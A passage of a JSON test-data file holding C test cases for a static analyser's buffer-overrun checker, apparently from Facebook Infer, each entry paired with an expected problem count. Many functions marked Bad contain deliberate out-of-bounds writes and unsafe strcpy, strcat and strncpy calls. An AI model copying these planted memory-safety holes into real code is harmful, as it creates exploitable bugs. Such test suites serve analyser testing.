{\n int arr1[10];\n int arr2[20];\n memmove(arr2, arr1, 20);\n}\n\nvoid memmove_good4() {\n int src[3];\n int dst[3];\n memmove(dst, src, sizeof(dst));\n}\n\nvoid memset_bad1() {\n int arr[10];\n memset(arr, 0, 44);\n}\n\nvoid memset_bad2() {\n int arr[10];\n memset(arr, 0, -1);\n}\n\nvoid memset_bad3() {\n int arr[1];\n int* dst = &arr[0];\n memset(dst, 0, sizeof(dst));\n}\n\nvoid memset_good1() {\n int arr[10];\n memset(arr, 0, 40);\n}\n\nvoid memset_good2() {\n int arr[10];\n memset(arr, 0, 0);\n}\n\nvoid memset_good3() {\n int arr[10];\n memset(arr, 0, 20);\n}\n\nvoid memset_good4() {\n int arr[10];\n memset(arr, 0, sizeof(arr));\n}\n\nvoid strncpy_bad1() {\n int arr1[10];\n int arr2[20];\n strncpy(arr1, arr2, 44);\n}\n\nvoid strncpy_bad2() {\n int arr1[10];\n int arr2[20];\n strncpy(arr2, arr1, 44);\n}\n\nvoid strncpy_bad3() {\n int arr1[10];\n int arr2[20];\n strncpy(arr1, arr2, -1);\n}\n\nvoid strncpy_bad4() {\n int src[1];\n int buff[1];\n int* dst = &buff[0];\n strncpy(dst, src, sizeof(dst));\n}\n\nvoid strncpy_good1() {\n int arr1[10];\n int arr2[20];\n strncpy(arr2, arr1, 40);\n}\n\nvoid strncpy_good2() {\n int arr1[10];\n int arr2[20];\n strncpy(arr2, arr1, 0);\n}\n\nvoid strncpy_good3() {\n int arr1[10];\n int arr2[20];\n strncpy(arr2, arr1, 20);\n}\n\nvoid strncpy_good4() {\n int src[3];\n int dst[3];\n strncpy(dst, src, sizeof(dst));\n}\n\nvoid strncpy_good5_FP() {\n char src[5] = \"test\";\n char dst[5];\n strncpy(dst, src, 10);\n}\n\nvoid memcpy_contents_Good() {\n int src[3] = {5, 5, 5};\n int dst[3];\n memcpy(dst, src, sizeof(dst));\n int a[6];\n a[dst[0]] = 0;\n}\n\nvoid memcpy_contents_Bad() {\n int src[3] = {5, 5, 5};\n int dst[3];\n memcpy(dst, src, sizeof(dst));\n int a[5];\n a[dst[0]] = 0;\n}\n\nvoid memcpy_integer_Good() {\n int src = 5;\n int dst;\n memcpy(&dst, &src, sizeof(int));\n int a[10];\n a[dst] = 0;\n}\n\nvoid memcpy_integer_Bad() {\n int src = 5;\n int dst;\n memcpy(&dst, &src, sizeof(int));\n int a[5];\n a[dst] = 0;\n}\n\nvoid strncpy_contents_Good() {\n char src[5] = \"test\";\n char dst[10];\n strncpy(dst, src, 5);\n int a[5];\n a[strlen(dst)] = 0;\n}\n\nvoid strncpy_contents_Bad() {\n char src[5] = \"test\";\n char dst[10];\n strncpy(dst, src, 5);\n int a[4];\n a[strlen(dst)] = 0;\n}\n\nvoid strncpy_no_null_1_Bad_FN() {\n char src[5] = \"test\";\n src[4] = 'a';\n char dst[10];\n strncpy(dst, src, 5); // [dst] may not have null character.\n int a[10];\n a[strlen(dst)] = 0;\n}\n\nvoid strncpy_no_null_2_Bad() {\n char src[5] = \"test\";\n src[4] = 'a';\n char dst[10];\n strncpy(dst, src, 5); // [dst] may not have null character.\n int a[5];\n a[strlen(dst)] = 0;\n}\n\nvoid strncpy_no_null_3_Bad_FN() {\n char src[15] = \"test.test.test\";\n char dst[10];\n strncpy(dst, src, 10); // [dst] does not have null character.\n int a[20];\n a[strlen(dst)] = 0;\n}\n\nvoid strncpy_no_null_4_Bad() {\n char src[15] = \"test.test.test\";\n char dst[10];\n strncpy(dst, src, 10); // [dst] does not have null character.\n int a[10];\n a[strlen(dst)] = 0;\n}\n\nvoid strndup_1_Good() {\n char s1[] = \"Hello Infer!\";\n int len = strlen(s1);\n char* s2 = strndup(s1, len);\n for (int i = 0; i < len; i++) {\n s2[i] = 'a';\n }\n}\n\nvoid strndup_1_Bad() {\n char s1[] = \"Hello Infer!\";\n int len = 100;\n char* s2 = strndup(s1, len);\n for (int i = 0; i < len; i++) {\n s2[i] = 'a';\n }\n}\n\nvoid strndup_2_Good() {\n char s1[] = \"Hello Infer!\";\n int len = strlen(s1);\n s1[5] = '\\0';\n char* s2 = strndup(s1, len);\n for (int i = 0; i < strlen(s2); i++) {\n s2[i] = 'a';\n }\n}\n\nvoid strndup_2_Bad() {\n char s1[] = \"Hello Infer!\";\n int len = strlen(s1);\n s1[5] = '\\0';\n char* s2 = strndup(s1, len);\n for (int i = 0; i < len; i++) {\n s2[i] = 'a';\n }\n}\n\nvoid strndup_3_Good() {\n int size = unknown();\n if (size >= 10) {\n char* s1 = (char*)malloc(sizeof(char) * size);\n s1[5] = '\\0';\n char* s2 = strndup(s1, size - 1);\n for (int i = 0; i < strlen(s2); i++) {\n s2[i] = 'a';\n }\n }\n}\n\nvoid strndup_3_Bad() {\n int size = unknown();\n if (size >= 10) {\n char* s1 = (char*)malloc(sizeof(char) * size);\n s1[5] = '\\0';\n char* s2 = strndup(s1, size - 1);\n for (int i = 0; i < size - 1; i++) {\n s2[i] = 'a';\n }\n }\n}\n\nvoid strcpy_Good() {\n char src[5] = \"test\";\n char dst[10];\n strcpy(dst, src);\n}\n\nvoid strcpy_Bad() {\n char src[5] = \"test\";\n char dst[4];\n strcpy(dst, src);\n}\n\nvoid strcpy_literal_string_Good() {\n char dst[10];\n strcpy(dst, \"test\");\n}\n\nvoid strcpy_literal_string_Bad() {\n char dst[4];\n strcpy(dst, \"test\");\n}\n\nvoid strcpy_strlen_Good() {\n char src[5] = \"test\";\n char dst[10];\n strcpy(dst, src);\n int a[5];\n a[strlen(dst)] = 0;\n}\n\nvoid strcpy_strlen_Bad() {\n char src[5] = \"test\";\n char dst[10];\n strcpy(dst, src);\n int a[4];\n a[strlen(dst)] = 0;\n}\n\nvoid strcpy_contents_Good() {\n char src[5] = \"aaaa\";\n char dst[5];\n strcpy(dst, src);\n char c = dst[0];\n if (c >= 'a') {\n int a[5];\n a[c - 'a' + 4] = 0;\n }\n}\n\nvoid strcpy_contents_Bad() {\n char src[5] = \"aaaa\";\n char dst[5];\n strcpy(dst, src);\n char c = dst[0];\n if (c >= 'a') {\n int a[5];\n a[c - 'a' + 5] = 0;\n }\n}\n\nvoid strcpy_no_null_Bad() {\n char src[5] = \"test\";\n src[4] = 'a';\n char dst[10];\n strcpy(dst, src);\n}\n\nvoid strcat_Good() {\n char str[8];\n strcpy(str, \"abc\");\n strcat(str, \"defg\");\n}\n\nvoid strcat_Bad() {\n char str[8];\n strcpy(str, \"abc\");\n strcat(str, \"defgh\");\n}\n\nvoid strcat_strlen_Good() {\n char str[8];\n strcpy(str, \"abc\");\n strcat(str, \"defg\");\n int a[8];\n a[strlen(str)] = 0;\n}\n\nvoid strcat_strlen_Bad() {\n char str[20];\n strcpy(str, \"abc\");\n strcat(str, \"defgh\");\n int a[8];\n a[strlen(str)] = 0;\n}\n" + }, + { + "testname": "nested_loop.c", + "testlanguage": "c", + "expected-problems": 18, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid nested_loop() {\n int i, j;\n char a[10];\n\n for (i = 0; i < 10; i++) {\n a[i] = 'a'; /* SAFE */\n for (j = 0; j <= 10; j++) {\n a[j] = 'a'; /* BUG */\n }\n }\n}\n\nvoid nested_loop2_Ok() {\n double arr[10];\n\n int i, j;\n for (i = 0; i < 10; i++) {\n for (j = 5; j < 15; j++) {\n arr[i] = 0.0;\n arr[j - 5] = 0.0;\n }\n }\n}\n\nvoid nested_loop3_Bad() {\n double arr[10];\n\n int i, j;\n for (i = 0; i <= 10; i++) {\n for (j = 5; j < 15; j++) {\n arr[i] = 0.0;\n }\n }\n}\n\nvoid nested_loop4_Bad() {\n double arr[10];\n\n int i, j;\n for (i = 0; i < 10; i++) {\n for (j = 5; j <= 15; j++) {\n arr[j - 5] = 0.0;\n }\n }\n}\n\nvoid nested_loop_narrowing_Good() {\n int i = 0;\n int a[10];\n\n while (1) {\n while (1) {\n a[i] = 0;\n for (i = 0; i < 5; i++) {\n }\n }\n }\n}\n\nvoid nested_loop_narrowing_Bad() {\n int i = 0;\n int a[10];\n\n while (1) {\n while (1) {\n a[i] = 0;\n for (i = 0; i < 10; i++) {\n }\n }\n }\n}\n" + }, + { + "testname": "nested_loop_with_label.c", + "testlanguage": "c", + "expected-problems": 3, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid nested_loop_with_label() {\n int i, j = 0;\n char a[10];\n\n for (i = 0; i < 10; i++) {\n outer_loop:\n a[j] = 'a'; /* BUG */\n for (j = 0; j <= 10; j++) { // Loop condition always true\n if (j >= 10)\n goto outer_loop;\n }\n }\n}\n" + }, + { + "testname": "pointer_arith.c", + "testlanguage": "c", + "expected-problems": 31, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid pointer_arith_bad() {\n char arr[10];\n int x = 0;\n if (&x - 1 == 0)\n arr[10] = 1;\n}\n\nvoid array_pointer_arith_Bad() {\n int arr[10];\n int* p = &arr[5];\n p[5] = 1;\n}\n\nvoid pointer_arith2_Ok(int x) {\n int len = 5;\n char p[5];\n (p + x)[3 - x] = 0;\n}\n\nvoid call_pointer_arith2_Ok() { pointer_arith2_Ok(100); }\n\nvoid pointer_arith3(char* p, int x) {\n int len = 5;\n (p + x)[10 - x] = 0;\n}\n\nvoid call_pointer_arith3_Bad() {\n char p[5];\n pointer_arith3(p, 100);\n}\n\nvoid pointer_arith4_Bad(int x) {\n int len = 5;\n char p[5];\n (p + x)[10 - x] = 0;\n}\n\n/* It is better to raise an alarm here, rather than returning a safety\n condition, since the buffer overrun occurs always without regard to\n the input x. Using symbols for variables, not only for bounds,\n would help in this case. */\nvoid FN_pointer_arith4_Bad(int* x) {\n int len = 5;\n char p[5];\n (p + *x)[10 - *x] = 0;\n}\n\nvoid call_pointer_arith4_Bad() {\n int x = 100;\n FN_pointer_arith4_Bad(&x);\n}\n\n#include \n#include \n\nvoid FP_pointer_arith5_Ok() {\n char buf[1024];\n fgets(buf, 1024, stdin);\n size_t len = strlen(buf);\n if (len < sizeof(buf) - 3) {\n (buf + len)[sizeof(buf) - len - 1] = '\\0';\n }\n}\n\nvoid pointer_arith5_Bad() {\n char buf[1024];\n fgets(buf, 1024, stdin);\n size_t len = strlen(buf);\n if (len < sizeof(buf) - 3) {\n (buf + len)[sizeof(buf) - len] = '\\0';\n }\n}\n" + }, + { + "testname": "prune_alias.c", + "testlanguage": "c", + "expected-problems": 150, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nvoid prune_alias_le_Ok(int x) {\n int a[1];\n\n if (x <= x) {\n a[0] = 0;\n } else {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_ge_Ok(int x) {\n int a[1];\n\n if (x >= x) {\n a[0] = 0;\n } else {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_eq_Ok(int x) {\n int a[1];\n\n if (x == x) {\n a[0] = 0;\n } else {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_lt_Ok(int x) {\n int a[1];\n\n if (x < x) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_gt_Ok(int x) {\n int a[1];\n\n if (x > x) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_ne_Ok(int x) {\n int a[1];\n\n if (x != x) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_not_Ok(int x) {\n int a[1];\n\n if (!(x == x)) {\n a[1] = 0;\n }\n\n if (!(x <= x)) {\n a[1] = 0;\n }\n\n if (!(x >= x)) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_and_Ok(int x) {\n int a[1];\n\n if (x == x && x != x) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_or_Ok(int x, int y) {\n int a[1];\n\n if (x != x || y != y) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_exp_Ok(int x) {\n int a[1];\n\n if (x + 1 != x + 1) {\n a[1] = 0;\n }\n}\n\nvoid prune_alias_exp2_CAF(int x) {\n int a[1];\n\n if (x + 1 != 1 + x) { // Condition always false\n a[1] = 0;\n }\n}\n\nvoid FP_prune_alias_exp_Ok(int* x) {\n int a[1];\n\n if (*x + 1 != 1 + *x) {\n a[1] = 0;\n }\n}\n\n#include \n\nvoid prune_arrblk_ne_CAT(int* x) {\n int* y = x + 10;\n\n if (x != y) { // always true\n x[5] = 1;\n }\n}\n\nvoid call_prune_arrblk_ne_Ok() {\n int* x = (int*)malloc(sizeof(int) * 10);\n prune_arrblk_ne_CAT(x);\n}\n\nvoid call_prune_arrblk_ne_Bad() {\n int* x = (int*)malloc(sizeof(int) * 5);\n prune_arrblk_ne_CAT(x);\n}\n\nvoid prune_arrblk_eq_CAF(int* x) {\n int* y = x + 10;\n\n if (x == y) { // always false\n x[5] = 1; /* unreachable */\n }\n}\n\nvoid call_prune_arrblk_eq_Ok() {\n int* x = (int*)malloc(sizeof(int) * 5);\n prune_arrblk_eq_CAF(x);\n}\n\nvoid prune_minmax1_Ok(unsigned int x, unsigned int y) {\n if (x > 0) {\n if (y >= x + 1) {\n unsigned int z = y - 1;\n }\n }\n}\n\nvoid call_prune_minmax1_Ok() { prune_minmax1_Ok(0, 0); }\n\nvoid prune_minmax2_Ok(unsigned int x, unsigned int y) {\n if (x > y) {\n unsigned int z = x - y;\n }\n}\n\nvoid call_prune_minmax2_Ok() { prune_minmax2_Ok(0, 2); }\n\nvoid loop_prune_Good(int length, int j) {\n int i;\n char a[length];\n\n for (i = length - 1; i >= 0; i--) {\n if (j >= 0 && j < i) {\n /* here we always have i >= 1 */\n a[length - i] = 'Z';\n }\n }\n}\n\nvoid loop_prune2_Good_FP(int length, int j) {\n int i;\n char a[length];\n\n for (i = length - 1; i >= 0; i--) {\n /* need a relational domain */\n if (j < i && j >= 0) {\n /* here we always have i >= 1 */\n a[length - i] = 'Z';\n }\n }\n}\n\nvoid nested_loop_prune_Good(int length) {\n int i, j;\n char a[length];\n\n for (i = length - 1; i >= 0; i--) {\n for (j = 0; j < i; j++) {\n /* here we always have i >= 1 */\n a[length - i] = 'Z';\n }\n }\n}\n\nvoid bad_if_alias(int* x, int* y) {\n char a[1];\n if (x == y) {\n a[1] = 'A';\n }\n}\n\nvoid call_bad_if_alias_Bad_AlreadyReported() {\n int x;\n bad_if_alias(x, x);\n}\n\nvoid call_bad_if_alias_Good() {\n int x, y;\n bad_if_alias(x, y);\n}\n\nvoid bad_if_not_alias(int* x, int* y) {\n char a[1];\n if (x != y) {\n a[1] = 'B';\n }\n}\n\nvoid call_bad_if_not_alias_Good() {\n int x;\n bad_if_not_alias(x, x);\n}\n\nvoid call_bad_if_not_alias_Bad_AlreadyReported() {\n int x, y;\n bad_if_not_alias(x, y);\n}\n\nint unknown_function();\n\nvoid latest_prune_join(int* a, int n) {\n int x;\n if (unknown_function()) {\n if (n < 4) {\n x = 1;\n } else {\n x = 0;\n }\n } else {\n if (n < 5) {\n x = 1;\n } else {\n return;\n }\n }\n if (x) {\n a[n] = 0;\n }\n}\n\nvoid call_latest_prune_join_1_Good() {\n int a[5];\n latest_prune_join(a, 3);\n}\n\nvoid call_latest_prune_join_2_Good() {\n int a[5];\n latest_prune_join(a, 10);\n}\n\nvoid call_latest_prune_join_3_Bad() {\n int a[2];\n latest_prune_join(a, 3);\n}\n\nvoid forget_locs_latest_prune(unsigned int n) {\n int x;\n int* a[5];\n if (n < 5) {\n x = 1;\n } else {\n x = 0;\n x = 2;\n }\n if (x) {\n a[n] = 0;\n }\n}\n\nvoid call_forget_locs_latest_prune_Bad() { forget_locs_latest_prune(10); }\n\nvoid not_prune_multiple1_Bad() {\n int a[5];\n int m[2] = {0, 10};\n if (m[0] < 5) {\n a[m[1]] = 0;\n }\n}\n\nvoid not_prune_multiple2(int* m) {\n int a[5];\n if (m[0] < 5) {\n a[m[1]] = 0;\n }\n}\n\nvoid call_not_prune_multiple2_Good() {\n int m[2] = {0, 4};\n not_prune_multiple2(m);\n}\n\nvoid call_not_prune_multiple2_Bad_FN() {\n int m[2] = {0, 10};\n not_prune_multiple2(m);\n}\n\nvoid not_prune_multiple3_Bad() {\n int a[5];\n int* m = (int*)malloc(sizeof(int) * 2);\n m[0] = 0;\n m[1] = 10;\n if (*m < 5) {\n m++;\n a[*m] = 0;\n }\n}\n\nvoid not_prune_multiple4(int* m) {\n int a[5];\n if (*m < 5) {\n m++;\n a[*m] = 0;\n }\n}\n\nvoid call_not_prune_multiple4_Good() {\n int m[2] = {0, 4};\n not_prune_multiple4(m);\n}\n\nvoid call_not_prune_multiple4_Bad_FN() {\n int m[2] = {0, 10};\n not_prune_multiple4(m);\n}\n\nint* unknown1();\nint* unknown2();\n\nvoid unknown_alias_Good() {\n int* x = unknown1();\n int* y = unknown2();\n\n if (*x < *y) {\n int a[10]; // Here should be reachable.\n a[5] = 0;\n }\n}\n\nvoid unknown_alias_Bad() {\n int* x = unknown1();\n int* y = unknown2();\n\n if (*x < *y) {\n int a[10]; // Here should be reachable.\n a[10] = 0;\n }\n}\n\nvoid prune_linear_by_minmax(size_t s, size_t t) {\n if (s > 0 && s < 1000) {\n if (t >= s + 1) {\n size_t u = t - 2;\n }\n }\n}\n\nvoid call_prune_linear_by_minmax_Good() {\n prune_linear_by_minmax(unknown_function(), unknown_function());\n}\n\nvoid prune_int_by_pointer_Bad(int* p) {\n int* x = (int*)100;\n if (x == p) {\n }\n int a[5];\n a[5] = 0;\n}\n" + }, + { + "testname": "prune_constant.c", + "testlanguage": "c", + "expected-problems": 76, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nvoid prune_constant_true_Ok() {\n int a[1];\n\n if (1) {\n a[0] = 0;\n } else {\n a[1] = 0;\n }\n}\n\nvoid prune_constant_false_Ok() {\n int a[1];\n\n if (0) {\n a[1] = 0;\n } else {\n a[0] = 0;\n }\n}\n\nvoid prune_constant_value_Ok(int x) {\n int a[1];\n if (-1 < x && x < 1) {\n if (x) {\n a[1] = 0;\n } else {\n a[0] = 0;\n }\n }\n}\n\nvoid prune_constant_not_Bad() {\n int x = 0;\n int a[1];\n if (!x) {\n a[x + 1] = 0;\n }\n}\n\nint fromHex(char c) {\n if (c < '0' || (c > '9' && (c < 'a' || c > 'f'))) {\n return -1; // invalid not 0-9a-f hex char\n }\n if (c <= '9') {\n return c - '0';\n }\n return c - 'a' + 10;\n}\n\nvoid call_fromHex_sym_Good(char c) {\n char arr[16];\n int idx = fromHex(c);\n if (idx >= 0) {\n arr[idx] = 'H';\n }\n}\n\nvoid call_fromHex_200_Good() {\n char arr[16];\n int idx = fromHex(200);\n if (idx >= 0) {\n arr[idx] = 'H';\n }\n}\n\nvoid call_fromHex2_sym_Good_FP(char c) {\n char arr[17];\n int idx = fromHex(c);\n arr[idx + 1] = 'H';\n}\n\nvoid call_fromHex2_200_Good_FP() {\n char arr[17];\n int idx = fromHex(200);\n arr[idx + 1] = 'H';\n}\n\nvoid prune_add1(unsigned int x) {\n int a[10];\n if (x + 1 < 11) {\n a[x] = 0;\n }\n}\n\nvoid call_prune_add1_1_Good() { prune_add1(5); }\n\nvoid call_prune_add1_2_Good() { prune_add1(10); }\n\nvoid prune_add2(unsigned int x) {\n int a[10];\n if (x + 1 < 12) {\n a[x] = 0;\n }\n}\n\nvoid call_prune_add2_1_Good() { prune_add2(5); }\n\nvoid call_prune_add2_2_Bad() { prune_add2(10); }\n\nvoid call_prune_add2_3_Good() { prune_add2(100); }\n\nvoid prune_sub1(unsigned int x) {\n int a[10];\n if (9 > x - 1) {\n a[x] = 0;\n }\n}\n\nvoid call_prune_sub1_1_Good() { prune_sub1(5); }\n\nvoid call_prune_sub1_2_Good() { prune_sub1(10); }\n\nvoid prune_sub2(unsigned int x) {\n int a[10];\n if (10 > x - 1) {\n a[x] = 0;\n }\n}\n\nvoid call_prune_sub2_1_Good() { prune_sub2(5); }\n\nvoid call_prune_sub2_2_Bad() { prune_sub2(10); }\n\nvoid call_prune_sub2_3_Good() { prune_sub2(100); }\n\nvoid null_pruning1_Good(int* p) {\n if (p == 0) {\n if (p != 0) {\n int a[5];\n a[10] = 1;\n }\n }\n}\n\nvoid null_pruning1_Bad(int* p) {\n if (p == 0) {\n if (p == 0) {\n int a[5];\n a[10] = 1;\n }\n }\n}\n\nvoid null_pruning2_Good_FP(int* p) {\n if (p != 0) {\n if (p == 0) {\n int a[5];\n a[10] = 1;\n }\n }\n}\n\nvoid null_pruning2_Bad(int* p) {\n if (p != 0) {\n if (p != 0) {\n int a[5];\n a[10] = 1;\n }\n }\n}\n\nint greater_than(unsigned int x, unsigned int y) { return (x > y); }\n\nvoid call_greater_than_Good() {\n unsigned int idx = 0;\n if (greater_than(idx, 0)) {\n idx = idx - 1;\n }\n}\n\nvoid null_pruning_symbols(unsigned int a, unsigned int b) {\n unsigned int c = a + b;\n if (c > 0) {\n char result[c];\n result[c - 1] = 0;\n }\n}\n\nvoid call_null_pruning_symbols_1_Good() { null_pruning_symbols(10, 20); }\n\nvoid call_null_pruning_symbols_2_Good() { null_pruning_symbols(0, 0); }\n\nint unknown_function();\n\nvoid call_null_pruning_symbols_3_Good_FP() {\n unsigned int c;\n if (unknown_function()) {\n c = 0;\n } else {\n c = 10;\n }\n null_pruning_symbols(c, 0);\n}\n" + }, + { + "testname": "relation.c", + "testlanguage": "c", + "expected-problems": 17, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nvoid array_access_Ok(int x, int y) {\n int a[1];\n if (x + y == 1) {\n a[x + y - 1] = 0;\n }\n}\n\nvoid call_array_access_Ok() { array_access_Ok(0, 0); }\n\nvoid FP_array_access2_Ok(int x, int y) {\n int a[1];\n if (x + y == 1) {\n if (x + y != 1) {\n a[3] = 0;\n }\n }\n}\n\nvoid FP_array_access3_Ok(int x, int* y) {\n int a[1];\n *y = x + 1;\n if (x + 1 == 1) {\n if (*y != 1) {\n a[3] = 0;\n }\n }\n}\n\nvoid FP_array_access4_Ok(int x, int* y) {\n int a[1];\n *y = x * 3 + 1;\n if (x * 3 + 1 == 1) {\n if (*y != 1) {\n a[3] = 0;\n }\n }\n}\n" + }, + { + "testname": "sizeof.c", + "testlanguage": "c", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid eval_sizeof_bad() {\n if (sizeof(long long) < 10000) {\n // always true\n int a[0];\n a[1]; // report\n }\n}\n\nstruct some_struct {\n int x0;\n int x1;\n};\n\nvoid static_stride_bad() {\n struct some_struct a[10];\n char *x, *y;\n x = (char*)&(a[5]);\n y = (char*)&(a[4]);\n if (sizeof(struct some_struct) == x - y) {\n int a[0];\n a[1]; // report\n }\n}\n\nvoid sizeof_char_good(int i) {\n char b[10];\n b[sizeof(b) - 1] = 123;\n}\n" + }, + { + "testname": "struct_copy.c", + "testlanguage": "c", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct s {\n int a;\n int b;\n};\n\nvoid struct_copy_Ok() {\n int a[5];\n struct s x, y;\n x.a = 3;\n x.b = 5;\n y = x;\n a[y.a] = 0;\n}\n\nvoid struct_copy_Bad() {\n int a[3];\n struct s x, y;\n x.a = 3;\n x.b = 5;\n y = x;\n a[y.b] = 0;\n}\n\nstruct t {\n struct s s;\n int c;\n};\n\nvoid nested_struct_copy_Ok() {\n int a[7];\n struct t x, y;\n x.s.a = 3;\n x.s.b = 5;\n x.c = 7;\n y = x;\n a[y.s.a] = 0;\n}\n\nvoid nested_struct_copy_Bad() {\n int a[3];\n struct t x, y;\n x.s.a = 3;\n x.s.b = 5;\n x.c = 7;\n y = x;\n a[y.s.b] = 0;\n}\n\nstruct s get_struct() {\n struct s x;\n x.a = 3;\n x.b = 5;\n return x;\n}\n\nvoid struct_copy_from_function_call_Ok() {\n int a[5];\n struct s x;\n x = get_struct();\n a[x.a] = 0;\n}\n\nvoid struct_copy_from_function_call_Bad_FN() {\n int a[3];\n struct s x;\n x = get_struct();\n a[x.b] = 0;\n}\n\nstruct s get_struct_wrapper() {\n return get_struct();\n}\n\nvoid struct_copy_from_wrapper_call_Ok() {\n int a[5];\n struct s x;\n x = get_struct_wrapper();\n a[x.a] = 0;\n}\n\nvoid struct_copy_from_wrapper_call_Bad_FN() {\n int a[3];\n struct s x;\n x = get_struct_wrapper();\n a[x.b] = 0;\n}\n\nvoid struct_copy_decl_Ok() {\n int a[5];\n struct s x;\n x.a = 3;\n x.b = 5;\n struct s y = x;\n a[y.a] = 0;\n}\n\nvoid struct_copy_decl_Bad() {\n int a[3];\n struct s x;\n x.a = 3;\n x.b = 5;\n struct s y = x;\n a[y.b] = 0;\n}\n\nvoid struct_copy_decl_by_function_Ok() {\n int a[5];\n struct s x = get_struct();\n a[x.a] = 0;\n}\n\nvoid struct_copy_decl_by_function_Bad() {\n int a[3];\n struct s x = get_struct();\n a[x.b] = 0;\n}\n" + }, + { + "testname": "trivial.c", + "testlanguage": "c", + "expected-problems": 17, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid trivial_Bad() {\n int a[10];\n a[10] = 0; /* BUG */\n}\n\nvoid malloc_zero_Bad() {\n char* x;\n x = malloc(0);\n x = malloc(1);\n}\n\nint unknown_function();\n\nvoid differentiate_array_info_Good() {\n int* p;\n if (unknown_function()) {\n p = (int*)malloc(sizeof(int) * 5);\n } else {\n p = (int*)malloc(sizeof(int) * 10);\n p = p + 5;\n }\n p[4] = 0;\n}\n\nvoid differentiate_array_info_Bad() {\n int* p;\n if (unknown_function()) {\n p = (int*)malloc(sizeof(int) * 5);\n } else {\n p = (int*)malloc(sizeof(int) * 10);\n p = p + 5;\n }\n p[5] = 0;\n}\n" + }, + { + "testname": "unreachable.c", + "testlanguage": "c", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint __infer_nondet_int() {\n int ret;\n return ret;\n}\n\nvoid nop() {}\n\nvoid condition_always_true_bad() {\n if (1) {\n nop();\n }\n}\n\nvoid condition_always_false_bad() {\n if (0) {\n nop();\n }\n}\n\nvoid condition_always_true_with_else_bad() {\n if (1) {\n nop();\n } else {\n nop();\n }\n}\n\nvoid exit_at_end_of_if_good() {\n if (__infer_nondet_int()) {\n exit(4);\n }\n}\n\nvoid exit_at_end_of_proc_good() {\n nop();\n exit(5);\n}\n\nvoid exit_at_end_of_proc_good_local_var() {\n int a = 57;\n exit(5);\n}\n\nvoid FN_useless_else_bad() {\n if (__infer_nondet_int()) {\n exit(0);\n } else {\n nop();\n }\n}\n\nvoid never_loops_bad() {\n while (0) {\n nop();\n }\n}\n\nvoid infinite_loop_bad() {\n while (1) {\n nop();\n }\n}\n\nvoid FP_loop_with_break_good() {\n while (1) {\n if (__infer_nondet_int()) {\n break;\n }\n }\n}\n\nvoid FP_loop_with_return_good() {\n while (1) {\n if (__infer_nondet_int()) {\n return;\n }\n }\n}\n\nvoid FP_loop_with_exit_good() {\n while (1) {\n if (__infer_nondet_int()) {\n exit(1);\n }\n }\n}\n\nvoid FP_loop_with_unreachable_good() {\n while (1) {\n if (__infer_nondet_int()) {\n infinite_loop_bad();\n }\n }\n}\n\nvoid FP_loop_once_intentional_good() {\n do {\n nop();\n } while (0);\n}\n\nvoid FN_loop_once_break_bad() {\n while (__infer_nondet_int()) {\n break;\n }\n}\n\nvoid FN_loop_once_return_bad() {\n while (__infer_nondet_int()) {\n return;\n }\n}\n\nvoid FN_loop_once_exit_bad() {\n while (__infer_nondet_int()) {\n exit(2);\n }\n}\n\nvoid FN_loop_once_unreachable_bad() {\n while (__infer_nondet_int()) {\n infinite_loop_bad();\n }\n}\n\nvoid FN_unreachable_statement_call_bad() {\n infinite_loop_bad();\n nop();\n}\n\nvoid FN_unreachable_statement_exit_bad() {\n exit(2);\n nop();\n}\n\nvoid FN_unreachable_statement_return_bad() {\n return;\n nop();\n}\n\nvoid FN_unreachable_statement_break_bad() {\n while (__infer_nondet_int()) {\n if (__infer_nondet_int()) {\n break;\n nop();\n }\n }\n}\n\nvoid FN_unreachable_statement_continue_bad() {\n while (__infer_nondet_int()) {\n continue;\n nop();\n }\n}\n" + }, + { + "testname": "unrolling.c", + "testlanguage": "c", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid do_two_times_Good(int n) {\n char a[1];\n for (int i = 0; i < n; i++) {\n n = 1;\n a[i] = 3;\n }\n}\n\nvoid do_two_times2_Good(int n) {\n char a[1];\n int k = n;\n for (int i = 0; i < k; i++) {\n k = 1;\n 